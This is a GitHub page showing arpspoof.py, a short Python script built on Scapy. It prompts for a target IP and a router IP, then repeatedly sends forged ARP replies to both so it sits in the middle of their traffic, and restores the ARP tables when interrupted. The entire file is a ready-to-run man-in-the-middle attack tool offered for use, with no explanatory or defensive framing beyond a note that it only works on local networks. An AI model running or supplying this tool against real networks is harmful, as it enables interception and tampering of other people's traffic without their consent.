-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy patharpspoof.py
68 lines (62 loc) · 2.59 KB
/
arpspoof.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import os
import time
from scapy.all import ARP, Ether, srp, send
#\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
# |
# THIS SCRIPT MADE BY imscruz |
# STAR MY REPO Pls imscruz/Scapy-Scripts |
#///////////////////////////////////////////
def clear_screen():
os.system('cls' if os.name == 'nt' else 'clear')
def show_banner():
banner = r"""
_____ ____________________ ___________________________ ________ ___________
/ _ \\______ \______ \ / _____/\______ \_____ \ \_____ \ \_ _____/
/ /_\ \| _/| ___/ \_____ \ | ___// | \ / | \ | __)
/ | \ | \| | / \ | | / | \/ | \| \
\____|__ /____|_ /|____| /_______ / |____| \_______ /\_______ /\___ /
\/ \/ \/ \/ \/ \/
ARP SPOOFER | Coded by imscruz
DO NOT FORGET THIS SCRIPT ONLY WORK ON LOCAL NETWORK [!]
"""
print(banner)
# macver oç router
def get_mac(ip):
arp_request = ARP(pdst=ip)
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
response, _ = srp(arp_request_broadcast, timeout=2, verbose=False)
if response:
return response[0][1].hwsrc
return None
# arp fonksıyonel sikisyonel
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
if target_mac:
arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
send(arp_response, verbose=False)
else:
print(f"[!] {target_ip} Cant get MAC adress!")
def restore(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
gateway_mac = get_mac(spoof_ip)
if target_mac and gateway_mac:
arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc=gateway_mac)
send(arp_response, verbose=False, count=4)
# main
if __name__ == "__main__":
clear_screen()
show_banner()
target_ip = input("🛑 Target IP (192.168.XX.XX): ")
gateway_ip = input("🌐 Router IP (192.168.1.1): ")
try:
print("\n[+] ARP Spoof started successfull! u cant stop with CTRL+C ...\n")
while True:
spoof(target_ip, gateway_ip)
spoof(gateway_ip, target_ip)
time.sleep(2) # wait 2 second for no crash network
except KeyboardInterrupt:
print("\n[!] Stopping ARP Spoof...")
restore(target_ip, gateway_ip)
restore(gateway_ip, target_ip)
print("[+] Network get normally :>>")